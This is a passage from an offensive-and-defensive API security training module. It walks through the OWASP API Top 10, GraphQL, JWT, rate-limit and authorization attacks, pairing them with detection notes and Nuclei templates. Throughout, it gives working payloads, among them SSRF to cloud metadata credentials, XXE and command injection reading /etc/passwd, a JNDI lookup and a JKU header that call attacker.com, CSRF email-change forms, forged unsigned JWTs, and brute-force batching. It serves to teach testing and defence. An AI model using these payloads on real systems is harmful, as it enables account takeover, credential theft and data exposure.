API Exploitation Deep Dive — CIPHER Training Module
API Exploitation Deep Dive — CIPHER Training Module
[MODE: RED + PURPLE] — Offensive API security with detection opportunities throughout. Last Updated: 2026-03-14 Sources: OWASP API Security Top 10 2023, PortSwigger Web Security Academy, OWASP Cheat Sheet Series, community tooling repositories.
Table of Contents
- OWASP API Security Top 10 (2023) — With Exploitation
- GraphQL Exploitation
- REST API Testing Methodology
- JWT Attack Vectors
- Rate Limiting Bypass Techniques
- BOLA/BFLA Deep Exploitation
- API Reconnaissance & Discovery
- Nuclei Templates for API Testing
- Tooling Arsenal
- API Security Checklist — Offensive Audit
- Training Labs & Resources
1. OWASP API Security Top 10 (2023)
API1:2023 — Broken Object Level Authorization (BOLA)
What It Is: APIs expose endpoints handling object identifiers without verifying the requesting user owns or has access to that object. The server relies on client-supplied IDs rather than maintaining server-side state binding.
Why It's #1: Every API that accepts an object ID in a path, query param, or body is a potential BOLA target. The attack surface is enormous.
Exploitation Technique:
# Original request — user views their own order
GET /api/v1/orders/1001 HTTP/1.1
Authorization: Bearer <user_a_token>
# BOLA — change the ID to another user's order
GET /api/v1/orders/1002 HTTP/1.1
Authorization: Bearer <user_a_token>
Escalation chain:
- Identify endpoints accepting object IDs (path params, query strings, request bodies, GraphQL arguments)
- Collect valid IDs via enumeration, leaked data, or predictable patterns (sequential integers)
- Substitute IDs while maintaining your own auth token
- Escalate from read (GET) to write (PUT/PATCH) to delete (DELETE)
Attack Scenarios from OWASP:
- E-commerce revenue leak:
/shops/{shopName}/revenue_data.json— enumerate shop names, access revenue data across thousands of stores. - Vehicle hijack: Automotive API accepts VIN without ownership verification — attacker locks/unlocks/starts vehicles belonging to others.
- GraphQL document deletion:
mutation deleteReports($reportKeys: [String]!) { deleteReports(reportKeys: $reportKeys) }— delete other users' documents by substituting document IDs.
Key Insight: Comparing session user ID with the URL parameter is insufficient. Authorization must occur at the data access layer. UUIDs reduce enumeration risk but do not prevent BOLA if authorization checks are absent.
DETECTION OPPORTUNITY: Alert on users accessing object IDs they have never accessed before, especially in bulk. Monitor for sequential ID scanning patterns. Correlate 403/404 spikes per user session.
API2:2023 — Broken Authentication
What It Is: Flawed authentication implementations that allow credential compromise, token theft, or identity assumption.
Vulnerability Indicators:
- Credential stuffing possible (no lockout, no CAPTCHA)
- Weak passwords accepted
- Tokens/credentials in URLs
- Unsigned JWTs accepted (
{"alg":"none"}) - JWT expiration not validated
- Plaintext or weakly-hashed passwords
- No re-authentication for sensitive operations (email change, password reset)
- Predictable tokens
- Inter-microservice calls without authentication
Exploitation — GraphQL Batching Bypass:
POST /graphql
[
{"query":"mutation { login(user:\"admin\",pass:\"pass1\") { token } }"},
{"query":"mutation { login(user:\"admin\",pass:\"pass2\") { token } }"},
{"query":"mutation { login(user:\"admin\",pass:\"pass3\") { token } }"},
...
{"query":"mutation { login(user:\"admin\",pass:\"pass500\") { token } }"}
]
Single HTTP request, 500 login attempts. Rate limiter sees 1 request. Brute force at scale.
Exploitation — Account Takeover Chain:
- Steal auth token (XSS, network sniffing, log exposure)
- Change victim's email via API (no re-auth required)
- Trigger password reset to attacker-controlled email
- Full account takeover
DETECTION OPPORTUNITY: Monitor for batch GraphQL mutations targeting auth endpoints. Alert on email change -> password reset sequences without intervening re-authentication. Flag tokens appearing from new IP/geo after email change.
API3:2023 — Broken Object Property Level Authorization
What It Is: Combines excessive data exposure (API returns more fields than the client needs) with mass assignment (API accepts fields the client should not control). This is about property-level, not object-level, authorization.
Exploitation — Excessive Data Exposure:
GET /api/v1/users/profile HTTP/1.1
Authorization: Bearer <token>
# Response includes fields the UI never displays:
{
"id": 1001,
"name": "John",
"email": "[email protected]",
"ssn": "123-45-6789", # Should not be returned
"internalRole": "admin", # Should not be returned
"passwordHash": "bcrypt$..." # Should not be returned
}
Exploitation — Mass Assignment:
# Normal profile update
PUT /api/v1/users/profile
{"name": "John Updated"}
# Mass assignment — inject properties
PUT /api/v1/users/profile
{"name": "John Updated", "role": "admin", "verified": true, "credit_balance": 99999}
Attack Scenarios from OWASP:
- Dating app data leak: Report feature's GraphQL mutation returns
fullNameandrecentLocationof reported users — unintended PII disclosure. - Price manipulation: Marketplace booking endpoint accepts injected
total_stay_pricefield — attacker sets their own price. - Content filter bypass: Video platform user adds
"blocked": falseto description update — circumvents content moderation.
Discovery Method:
- Compare GET responses against documented schema — identify undocumented fields
- Fuzz PUT/PATCH endpoints with additional properties from GET responses
- Test with invalid values first to observe error behavior, then exploit with valid values
DETECTION OPPORTUNITY: Monitor for PUT/PATCH requests containing fields not in the client-facing schema. Alert on property changes to sensitive fields (role, permissions, pricing) outside admin workflows.
API4:2023 — Unrestricted Resource Consumption
What It Is: APIs without proper resource limits — execution timeouts, memory caps, request rates, pagination limits, third-party spending caps, or batch operation constraints.
Exploitation Scenarios:
- SMS bombing: Script sends thousands of password reset requests, each triggering an SMS at $0.05/message — financial DoS via third-party billing.
- GraphQL batch upload: Single request containing 999
uploadPicmutations — bypasses per-request rate limiting, exhausts server memory generating thumbnails. - Cloud cost amplification: Large file distribution without spending caps — attacker triggers mass downloads, inflating monthly bill from $13 to $8,000.
Testing Approach:
# Test missing pagination limits
GET /api/v1/records?page_size=999999999
# Test missing upload size limits
POST /api/v1/upload
Content-Type: multipart/form-data
[18GB file]
# Test missing rate limits on expensive operations
for i in $(seq 1 10000); do
curl -X POST /api/v1/forgot-password -d '{"email":"victim@target.com"}'
done
DETECTION OPPORTUNITY: Alert on abnormal request volumes per user/IP. Monitor third-party API spending in real-time. Track response payload sizes exceeding baseline.
API5:2023 — Broken Function Level Authorization (BFLA)
What It Is: Administrative or privileged functions accessible to unprivileged users due to missing role-based access controls at the function level. Unlike BOLA (accessing other users' objects), BFLA is about accessing functions you should not have.
Exploitation — Privilege Escalation:
# Regular user discovers admin endpoint pattern
GET /api/invites/{invite_guid} HTTP/1.1 # Accessible to user
# Attempt admin function
POST /api/invites/new HTTP/1.1
Authorization: Bearer <regular_user_token>
Content-Type: application/json
{"email": "[email protected]", "role": "admin"}
# Or guess admin endpoints
GET /api/admin/v1/users/all HTTP/1.1
Authorization: Bearer <regular_user_token>
Discovery Techniques:
- Change HTTP method: GET -> POST, POST -> PUT, GET -> DELETE
- Replace path segments:
/users/->/admins/,/api/v1/->/api/admin/v1/ - Add common admin paths:
/api/v1/users/export,/api/v1/users/all,/api/v1/config - Monitor JavaScript/mobile app bundles for admin endpoint references
DETECTION OPPORTUNITY: Alert on non-admin users hitting admin endpoint patterns. Monitor for HTTP method switching on the same endpoint. Track 403 response spikes per user.
API6:2023 — Unrestricted Access to Sensitive Business Flows
What It Is: Business logic abuse through automation — scalping, ticket manipulation, referral fraud, spam generation. The API functions correctly per spec; the abuse is in the volume and automation.
Attack Scenarios:
- Scalping: Automated purchase of limited-stock items across multiple IPs on release day, then resale at markup.
- Ticket manipulation: Book 90% of flight seats, cancel days before departure, forcing airline to discount, then purchase at reduced price.
- Referral fraud: Automate user registrations to accumulate referral credits.
Prevention is non-trivial — requires device fingerprinting, CAPTCHA, behavioral analysis, Tor/proxy blocking, and business-layer rate limiting tied to real-world constraints.
API7:2023 — Server-Side Request Forgery (SSRF)
What It Is: API fetches remote resources using user-supplied URIs without validation. Attacker redirects requests to internal services, cloud metadata endpoints, or other unintended targets.
Classic Exploitation:
POST /api/v1/fetch-preview
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
POST /api/v1/webhook
{"callback_url": "http://internal-admin.corp:8080/api/admin/users"}
POST /api/v1/import
{"source": "file:///etc/passwd"}
API8:2023 — Security Misconfiguration
What It Is: Missing hardening, unnecessary features enabled, verbose errors, CORS misconfig, missing TLS, unpatched systems.
Exploitation Scenarios:
- JNDI injection via logging: Malicious header
${jndi:ldap://attacker.com/Malicious.class}processed by vulnerable logger (Log4Shell pattern in API context). - Cache poisoning: Missing
Cache-Controlheader allows browser to cache private conversation data, retrievable from filesystem. - CORS misconfiguration:
Access-Control-Allow-Origin: *withAccess-Control-Allow-Credentials: true— enables cross-origin credential theft.
Testing Checklist:
# Check CORS
curl -H "Origin: https://evil.com" -I https://api.target.com/v1/me
# Look for: Access-Control-Allow-Origin: https://evil.com
# Check verbose errors
curl -X POST https://api.target.com/v1/login -d '{"user":null}'
# Look for: stack traces, framework versions, internal paths
# Check unnecessary methods
curl -X TRACE https://api.target.com/v1/users
curl -X OPTIONS https://api.target.com/v1/users
# Check TLS
nmap --script ssl-enum-ciphers -p 443 api.target.com
API9:2023 — Improper Inventory Management
What It Is: Shadow APIs, deprecated versions running unpatched, missing documentation, unmonitored data flows.
Exploitation:
- Discover old API versions via DNS enumeration, Google dorking (
site:api.target.com), Wayback Machine - Beta/staging hosts often lack rate limiting, WAF, and auth controls present in production
- Old versions may lack security patches applied to current version
# Version enumeration
curl https://api.target.com/v1/users # Current
curl https://api.target.com/v2/users # Beta?
curl https://api.target.com/v0/users # Deprecated?
curl https://beta-api.target.com/v1/users
curl https://staging-api.target.com/v1/users
# Google dorking
site:target.com inurl:api
site:target.com inurl:swagger
site:target.com filetype:json inurl:openapi
OWASP scenario: Social network's beta API host lacked rate limiting — researchers brute-forced password reset tokens that were protected in production.
API10:2023 — Unsafe Consumption of APIs
What It Is: Trusting third-party API responses without validation. Developers apply stricter validation to user input than to data received from partner/third-party APIs.
Exploitation: Compromise the third-party API (or MITM it), inject malicious payloads that the consuming API processes without sanitization — SQLi, SSRF, or deserialization through trusted data channels.
2. GraphQL Exploitation
2.1 Introspection Attacks
GraphQL introspection is the single most valuable reconnaissance step. When enabled, it exposes the complete schema — types, fields, arguments, mutations, subscriptions.
Detection query:
# Quick check
{"query": "{__schema{queryType{name}}}"}
# Full introspection dump
{
__schema {
types {
name
fields {
name
args { name type { name kind } }
type { name kind ofType { name } }
}
}
mutationType { name }
subscriptionType { name }
queryType { name }
}
}
Universal endpoint detection:
# Returns {"data":{"__typename":"query"}} at any GraphQL endpoint
query{__typename}
Common GraphQL endpoint paths:
/graphql/api/graphql/graphql/api/api/v1/graphql/gql/query
2.2 Bypassing Introspection Defenses
Many implementations use naive regex to block introspection. GraphQL's parser ignores whitespace, newlines, and commas — but regex filters often do not.
Whitespace/newline injection:
# Bypass regex matching "__schema"
{__schema
{queryType{name}}}
# With newline after __schema
{__schema
{types{name}}}
Alternative HTTP methods: Introspection may only be blocked on POST. Try GET with URL-encoded query:
GET /graphql?query=%7B__schema%7BqueryType%7Bname%7D%7D%7D
Alternative content types: Try application/x-www-form-urlencoded instead of application/json.
Suggestion-based schema reconstruction (when introspection is fully disabled):
GraphQL servers return "did you mean" suggestions in error messages. Tools like Clairvoyance automate this:
clairvoyance https://target.com/graphql -o schema.json
This iteratively guesses field names from wordlists, captures suggestions, and reconstructs the schema without introspection.
DETECTION OPPORTUNITY: Monitor for introspection queries (
__schema,__type). Alert on suggestion enumeration patterns (high volume of invalid field queries). Log and alert on requests with unusual whitespace in GraphQL queries.
2.3 Alias-Based Batching Attacks
Aliases allow multiple operations in a single query, bypassing request-based rate limiters.
Brute-force OTP/discount codes:
query {
attempt1: validateOTP(code: "000000") { valid }
attempt2: validateOTP(code: "000001") { valid }
attempt3: validateOTP(code: "000002") { valid }
# ... up to thousands of aliases in one request
attempt9999: validateOTP(code: "009999") { valid }
}
Credential stuffing via aliases:
query {
login1: login(user:"admin", pass:"password1") { token }
login2: login(user:"admin", pass:"password2") { token }
login3: login(user:"admin", pass:"password3") { token }
}
Single HTTP request. Rate limiter sees 1 request. Operations executed: thousands.
DETECTION OPPORTUNITY: Count alias operations per query, not just HTTP requests. Alert when alias count exceeds threshold (e.g., >10 aliases for auth-related resolvers). Implement query cost analysis that accounts for aliases.
2.4 Query Depth & Complexity Attacks (DoS)
Deeply nested queries exhaust server resources through recursive resolution.
Recursive depth attack:
query {
user(id: 1) {
friends {
friends {
friends {
friends {
friends {
friends {
# 50 levels deep
name
}
}
}
}
}
}
}
}
Field duplication attack:
query {
user(id: 1) {
name name name name name name name name name name
name name name name name name name name name name
# Hundreds of duplicate fields
}
}
Directive overloading:
query {
user(id: 1) @aa @bb @cc @dd @ee @ff @gg @hh @ii @jj
# Hundreds of directives
{
name
}
}
Circular introspection query:
query {
__schema {
types {
fields {
type {
fields {
type {
fields {
# Recursive introspection
name
}
}
}
}
}
}
}
}
2.5 GraphQL Injection
SQL injection through GraphQL arguments:
mutation {
createUser(name: "admin' OR '1'='1' --", email: "x@x.com") {
id
}
}
NoSQL injection:
query {
user(name: "{\"$gt\":\"\"}") {
id email password
}
}
OS command injection:
mutation {
importData(source: "; cat /etc/passwd #") {
status
}
}
GraphQLmap automates injection testing:
graphqlmap -u https://target.com/graphql --method POST
# Then use: nosqli, postgresqli, mysqli, mssqli commands
2.6 IDOR via GraphQL
# Products 1, 2, 4 visible in listing — product 3 is "delisted"
query {
product(id: 3) {
name
price
description
# Access delisted/restricted product directly
}
}
Test node and nodes queries — many GraphQL implementations expose a generic node interface that retrieves any object by global ID:
query {
node(id: "base64-encoded-id") {
... on User { email role }
... on Order { total items { name } }
}
}
2.7 GraphQL CSRF
CSRF is possible when the GraphQL endpoint:
- Accepts GET requests with query parameters
- Accepts POST with
application/x-www-form-urlencoded - Does not validate Content-Type header
- Lacks CSRF token enforcement
CSRF payload (GET-based):
<img src="https://target.com/graphql?query=mutation{changeEmail(email:\"attacker@evil.com\"){status}}">
CSRF payload (form-based):
<form action="https://target.com/graphql" method="POST">
<input name="query" value="mutation{changeEmail(email:"attacker@evil.com"){status}}">
<input type="submit">
</form>
DETECTION OPPORTUNITY: Monitor for GraphQL mutations via GET method. Alert on mutations from unexpected referrer origins. Track Content-Type mismatches on GraphQL endpoints.
3. REST API Testing Methodology
3.1 Reconnaissance Phase
Documentation Discovery:
# Common documentation endpoints
/api
/api/docs
/api/v1/docs
/swagger
/swagger.json
/swagger.yaml
/swagger/index.html
/openapi.json
/openapi.yaml
/api-docs
/redoc
/graphql # GraphQL Playground/GraphiQL
/_catalog
/actuator
/health
/info
/metrics
Parent path enumeration: If you find /api/swagger/v1/users/123, systematically probe:
/api/swagger/v1/users/api/swagger/v1/api/swagger/api
JavaScript/mobile app analysis: Extract API endpoints from client-side code:
# Extract endpoints from JS bundles
grep -rEo '"/(api|v[0-9])/[^"]*"' app.js
grep -rEo 'https?://[^"'\'']*api[^"'\'']*' *.js
# Use JS Link Finder (Burp extension) for automated extraction
Kiterunner for API-aware brute forcing:
# API scanning with Swagger-derived wordlists
kr scan https://target.com -A=apiroutes-210228:20000 -x 10 --ignore-length=34
# Traditional brute force with API-specific wordlists
kr brute https://target.com -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -x 10
Unlike traditional directory bruteforcers, Kiterunner sends properly formatted HTTP requests with correct methods, headers, and parameters based on real Swagger/OpenAPI specifications.
Amass for attack surface mapping:
# Subdomain enumeration to find API hosts
amass enum -d target.com -o subdomains.txt
grep -i api subdomains.txt
# Look for: api.target.com, api-v2.target.com, staging-api.target.com, graphql.target.com
3.2 HTTP Method Testing
# Test all methods on discovered endpoints
for method in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE; do
curl -X $method https://api.target.com/v1/users -H "Authorization: Bearer $TOKEN" -v
done
# Method override headers (bypass method restrictions)
curl -X POST https://api.target.com/v1/users \
-H "X-HTTP-Method-Override: DELETE" \
-H "Authorization: Bearer $TOKEN"
# Other override headers to try:
# X-HTTP-Method
# X-Method-Override
# X-HTTP-Method-Override
# _method (query parameter)
3.3 Content-Type Manipulation
# Standard JSON request
curl -X POST https://api.target.com/v1/users \
-H "Content-Type: application/json" \
-d '{"name":"test"}'
# Try XML — may bypass JSON-specific input validation
curl -X POST https://api.target.com/v1/users \
-H "Content-Type: application/xml" \
-d '<user><name>test</name></user>'
# Try form-encoded — may bypass body parsing security
curl -X POST https://api.target.com/v1/users \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'name=test'
# XXE via XML content type
curl -X POST https://api.target.com/v1/users \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><user><name>&xxe;</name></user>'
3.4 Mass Assignment Testing
- Send a GET request, observe all returned fields
- Send a PUT/PATCH with additional fields from the GET response
- Test with invalid values first (observe errors), then valid values
# GET reveals hidden fields
GET /api/v1/users/me
Response: {"name":"user","email":"user@test.com","isAdmin":false,"credits":0}
# Mass assignment attempt
PATCH /api/v1/users/me
{"name":"user","isAdmin":true,"credits":99999}
# Framework-specific mass assignment params
{"name":"user","__proto__":{"isAdmin":true}} # Node.js prototype pollution
{"name":"user","constructor":{"isAdmin":true}} # Alternative prototype pollution
3.5 Server-Side Parameter Pollution (SSPP)
When APIs forward parameters to internal services:
# Original request
GET /api/v1/search?query=test
# Inject additional parameters targeting internal API
GET /api/v1/search?query=test%26role=admin
GET /api/v1/search?query=test%23 # Truncation with #
# REST path injection
GET /api/v1/users/123%2f..%2fadmin%2fusers # Path traversal via URL encoding
3.6 API Versioning Attacks
# Test version downgrade for weaker security
/api/v1/users # Current — has rate limiting, input validation
/api/v0/users # Old — may lack security controls
/api/beta/users # Beta — may lack WAF
/api/internal/users # Internal — may lack auth
/api/legacy/users
/api/test/users
# Header-based versioning
curl -H "Api-Version: 1.0" https://api.target.com/users
curl -H "Api-Version: 0.1" https://api.target.com/users
curl -H "Accept: application/vnd.api.v1+json" https://api.target.com/users
4. JWT Attack Vectors
4.1 None Algorithm Attack
import base64, json
# Decode JWT header
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "admin", "role": "admin", "iat": 1700000000, "exp": 1800000000}
# Encode without signature
h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
token = f"{h}.{p}."
# Variations to try:
# "alg": "none"
# "alg": "None"
# "alg": "NONE"
# "alg": "nOnE"
Vulnerable libraries accept alg: none and skip signature verification entirely.
4.2 Algorithm Confusion (RS256 -> HS256)
When the server uses RS256 (asymmetric), the attacker:
- Obtains the server's public RSA key (often from
/jwks.json,/.well-known/jwks.json, or/certs) - Changes header to
alg: HS256 - Signs the token with the public key as the HMAC secret
- Vulnerable server uses the public key for HMAC verification — signature validates
# Obtain public key
curl https://target.com/.well-known/jwks.json
# Convert JWK to PEM, then:
python3 -c "
import jwt
public_key = open('public.pem').read()
token = jwt.encode({'sub':'admin','role':'admin'}, public_key, algorithm='HS256')
print(token)
"
Tools: jwt_tool, python-jwt
# jwt_tool automation
python3 jwt_tool.py <token> -X a # Algorithm confusion
python3 jwt_tool.py <token> -X n # None algorithm
python3 jwt_tool.py <token> -X s # Blank password
python3 jwt_tool.py <token> -C -d wordlist.txt # Crack HMAC secret
4.3 Weak HMAC Secret Cracking
# Hashcat — mode 16500 for JWT
hashcat -m 16500 jwt.txt wordlist.txt
# John the Ripper
john jwt.txt --format=HMAC-SHA256 --wordlist=wordlist.txt
# jwt_tool dictionary attack
python3 jwt_tool.py <token> -C -d /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt
Once the secret is cracked, forge arbitrary tokens with any claims.
Mitigation: HMAC secrets must be at minimum 64 characters from a cryptographically secure random source. Prefer RSA-based signing for production.
4.4 JWK/JKU Header Injection
JWK injection: Embed attacker's public key in the token header itself:
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"n": "<attacker_public_key_n>",
"e": "AQAB"
}
}
Vulnerable server uses the embedded key for verification instead of its own.
JKU injection: Point to attacker-controlled JWK Set URL:
{
"alg": "RS256",
"typ": "JWT",
"jku": "https://attacker.com/.well-known/jwks.json"
}
Server fetches keys from attacker's server, verifies with attacker's key.
4.5 KID (Key ID) Injection
The kid header parameter specifies which key to use for verification. If the server uses it in a file path or database query without sanitization:
// Path traversal
{"alg":"HS256","kid":"../../../dev/null"}
// Sign with empty string — /dev/null returns empty
// SQL injection
{"alg":"HS256","kid":"' UNION SELECT 'known-secret' -- "}
// Server queries DB for key, gets attacker-controlled value
// Command injection
{"alg":"HS256","kid":"key1|cat /etc/passwd"}
4.6 Token Sidejacking Prevention Bypass
Tokens should be bound to a client fingerprint (random string in hardened cookie, SHA-256 hash in token claims). Test for:
- Token reuse from different IP/device
- Missing fingerprint validation
- Fingerprint in non-httponly cookie (XSS-stealable)
4.7 JWT Claim Tampering Checklist
[ ] Change sub claim to another user ID
[ ] Change role/permissions claims
[ ] Change iss to see if multi-tenant isolation breaks
[ ] Change aud to access different service
[ ] Extend exp to far future
[ ] Set nbf to past date
[ ] Remove claims to test for null-handling bugs
[ ] Add unexpected claims (admin: true)
DETECTION OPPORTUNITY: Alert on JWT algorithm changes per client session. Monitor for JWTs with
alg:none. Log and alert on JWK/JKU headers pointing to non-whitelisted URLs. Track JWT claim anomalies (role escalation, extreme expiration).
5. Rate Limiting Bypass
5.1 Header-Based Bypasses
# IP rotation via headers (if app trusts proxy headers)
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: <random_ip>
X-Real-IP: <random_ip>
X-Originating-IP: <random_ip>
X-Client-IP: <random_ip>
X-Remote-IP: <random_ip>
X-Remote-Addr: <random_ip>
True-Client-IP: <random_ip>
CF-Connecting-IP: <random_ip> # Cloudflare
Fastly-Client-IP: <random_ip> # Fastly
5.2 Endpoint Variation
# Case variation
/api/v1/login
/Api/V1/Login
/API/V1/LOGIN
# Path manipulation
/api/v1/login/
/api/v1/login/.
/api/v1/login/..;/login
/api/v1/login%00
/api/v1/login%20
/api/./v1/./login
# Parameter pollution
/api/v1/login?dummy=1
/api/v1/login?dummy=2
# Each unique URL may get its own rate limit bucket
# HTTP method switching
POST /api/v1/login -> PUT /api/v1/login
5.3 GraphQL-Specific Rate Limit Bypass
As covered in Section 2.3 — aliases allow thousands of operations in a single HTTP request. Additionally:
# Array-based batching (separate from aliases)
[
{"query":"mutation{login(u:\"admin\",p:\"pass1\"){t}}"},
{"query":"mutation{login(u:\"admin\",p:\"pass2\"){t}}"},
{"query":"mutation{login(u:\"admin\",p:\"pass3\"){t}}"}
]
5.4 Distributed Bypass
# Rotate through proxy list
proxychains curl -X POST /api/v1/login ...
# Tor circuit rotation
torsocks curl -X POST /api/v1/login ...
# Cloud function fan-out (each Lambda gets unique IP)
5.5 Race Condition Exploitation
# Send parallel requests to hit endpoint before rate limiter updates
# Using turbo-intruder or curl parallel:
seq 1 100 | xargs -P 100 -I{} curl -X POST /api/v1/redeem-coupon \
-H "Authorization: Bearer $TOKEN" \
-d '{"code":"DISCOUNT50"}'
DETECTION OPPORTUNITY: Monitor for X-Forwarded-For header rotation patterns. Alert on high alias counts in GraphQL queries. Detect URL normalization attempts. Implement operation-level (not request-level) rate limiting.
6. BOLA/BFLA Deep Exploitation
6.1 BOLA Hunting Methodology
Step 1 — Map all endpoints accepting identifiers:
GET /api/v1/users/{id}
GET /api/v1/users/{id}/orders
GET /api/v1/orders/{id}
GET /api/v1/orders/{id}/invoice
DELETE /api/v1/orders/{id}
PUT /api/v1/users/{id}/profile
GET /api/v1/documents/{id}/download
Step 2 — Create two test accounts (User A, User B):
- Authenticate as User A, record all object IDs in responses
- Authenticate as User B, attempt to access User A's object IDs
- Test each HTTP method: GET (read), PUT/PATCH (modify), DELETE (destroy)
Step 3 — Test identifier types:
- Sequential integers:
1001, 1002, 1003— trivially enumerable - UUIDs: harvest from any API response, websocket message, email link, or log leak
- Composite keys:
user_123_order_456— try substituting each segment - Base64-encoded IDs: decode, modify, re-encode
- Hashed IDs: look for patterns, try common hash inputs
Step 4 — Escalation chain:
Read other user's data (confidentiality breach)
-> Modify other user's data (integrity breach)
-> Delete other user's data (availability breach)
-> Access admin objects (privilege escalation)
-> Modify admin objects (full compromise)
6.2 BFLA Hunting Methodology
Step 1 — Identify role hierarchy:
- Anonymous -> Authenticated User -> Moderator -> Admin -> Super Admin
- Map which endpoints each role should access
Step 2 — Horizontal function testing:
# As regular user, try admin endpoints
GET /api/v1/admin/users
POST /api/v1/admin/users/create
DELETE /api/v1/admin/users/123
GET /api/v1/admin/config
PUT /api/v1/admin/config
GET /api/v1/admin/logs
GET /api/v1/internal/metrics
POST /api/v1/admin/export
Step 3 — Method-based escalation:
# Endpoint accessible via GET but should block POST
GET /api/v1/users/123 # 200 OK (expected)
POST /api/v1/users/123 # May create/modify without auth check
DELETE /api/v1/users/123 # May delete without admin check
Step 4 — Path manipulation for BFLA:
# Replace user-level path segments with admin equivalents
/api/v1/users/me/settings -> /api/v1/users/admin/settings
/api/v1/my/reports -> /api/v1/all/reports
/api/v1/user/dashboard -> /api/v1/admin/dashboard
6.3 Automation with Autorize (Burp Extension)
- Configure Autorize with low-privilege user's session cookie
- Browse the application as high-privilege user
- Autorize automatically replays every request with low-privilege credentials
- Results show which endpoints have BOLA/BFLA: green (enforced), red (bypassed), orange (different response — investigate)
7. API Reconnaissance & Discovery
7.1 Passive Reconnaissance
# Google dorking for API exposure
site:target.com inurl:api
site:target.com inurl:graphql
site:target.com inurl:swagger
site:target.com inurl:openapi
site:target.com filetype:json
site:target.com filetype:yaml inurl:api
site:target.com intitle:"API documentation"
# Wayback Machine for historical endpoints
waybackurls target.com | grep -iE '(api|graphql|swagger|v[0-9])'
# Certificate transparency for API subdomains
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u | grep -i api
# GitHub/GitLab dorking
"target.com" api_key
"target.com" api_secret
"target.com" /api/v
"target.com" graphql
"target.com" swagger.json
7.2 Active Reconnaissance
# Subdomain enumeration with Amass
amass enum -d target.com -o subdomains.txt
cat subdomains.txt | grep -iE '(api|gql|graphql|rest|gateway|service|internal|staging|beta|dev)'
# API endpoint brute-forcing with Kiterunner
kr scan https://api.target.com -A=apiroutes-210228:20000 -x 10
# SecLists API wordlists
# api-seen-in-wild.txt — API paths observed in production
# api-endpoints.txt — General API endpoint patterns
# api-endpoints-res.txt — Combined actions + objects
# actions.txt — API verb wordlist (create, delete, update, get...)
# objects.txt — API noun wordlist (user, account, order, payment...)
# Fuzz with ffuf
ffuf -u https://api.target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,401,403,405
# GraphQL endpoint discovery
for path in graphql gql api/graphql graphql/api v1/graphql query; do
curl -s -o /dev/null -w "%{http_code} $path\n" \
"https://target.com/$path" \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}'
done
7.3 OpenAPI/Swagger Exploitation
When you find an OpenAPI spec, you have the complete API blueprint:
# Download and parse
curl https://api.target.com/openapi.json -o spec.json
# Extract all endpoints
cat spec.json | jq -r '.paths | keys[]'
# Extract endpoints with methods
cat spec.json | jq -r '.paths | to_entries[] | .key as $path | .value | to_entries[] | "\(.key | ascii_upcase) \($path)"'
# Identify admin/internal endpoints
cat spec.json | jq -r '.paths | keys[]' | grep -iE '(admin|internal|debug|test|config|manage)'
# Feed to Burp Scanner for automated testing
# Use OpenAPI Parser BApp extension
8. Nuclei Templates for API Testing
8.1 BOLA Detection Template
id: api-bola-check
info:
name: Broken Object Level Authorization Test
author: cipher
severity: high
description: Tests for BOLA by accessing resources with manipulated object IDs.
tags: api,bola,authorization,owasp-api1
http:
- raw:
- |
GET /api/v1/users/{{user_id}}/profile HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{other_user_token}}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "email"
- "name"
condition: and
8.2 GraphQL Introspection Template
id: graphql-introspection-enabled
info:
name: GraphQL Introspection Enabled
author: cipher
severity: medium
description: Detects GraphQL endpoints with introspection enabled, exposing complete API schema.
tags: graphql,introspection,misconfiguration
reference:
- https://owasp.org/API-Security/editions/2023/en/0xa8-security-misconfiguration/
http:
- method: POST
path:
- "{{BaseURL}}/graphql"
- "{{BaseURL}}/api/graphql"
- "{{BaseURL}}/gql"
- "{{BaseURL}}/v1/graphql"
headers:
Content-Type: application/json
body: '{"query":"{__schema{types{name,fields{name,args{name,type{name}}}}}}"}'
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "__schema"
- "types"
condition: and
- type: word
words:
- "errors"
negative: true
8.3 JWT None Algorithm Template
id: jwt-none-algorithm
info:
name: JWT None Algorithm Accepted
author: cipher
severity: critical
description: Tests if the API accepts JWT tokens with alg set to none (unsigned tokens).
tags: jwt,authentication,owasp-api2
http:
- raw:
- |
GET /api/v1/me HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "admin"
- "email"
condition: or
8.4 Mass Assignment Template
id: api-mass-assignment
info:
name: API Mass Assignment
author: cipher
severity: high
description: Tests for mass assignment by injecting privileged fields into update requests.
tags: api,mass-assignment,owasp-api3
http:
- raw:
- |
PATCH /api/v1/users/me HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
Content-Type: application/json
{"name":"test","role":"admin","isAdmin":true,"verified":true}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "\"role\":\"admin\""
- "\"isAdmin\":true"
condition: or
8.5 GraphQL Batching Attack Template
id: graphql-batching-enabled
info:
name: GraphQL Query Batching Enabled
author: cipher
severity: medium
description: Detects if GraphQL endpoint accepts batched queries, enabling rate limit bypass.
tags: graphql,batching,rate-limit
http:
- method: POST
path:
- "{{BaseURL}}/graphql"
headers:
Content-Type: application/json
body: '[{"query":"{__typename}"},{"query":"{__typename}"},{"query":"{__typename}"}]'
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "__typename"
condition: and
8.6 CORS Misconfiguration Template
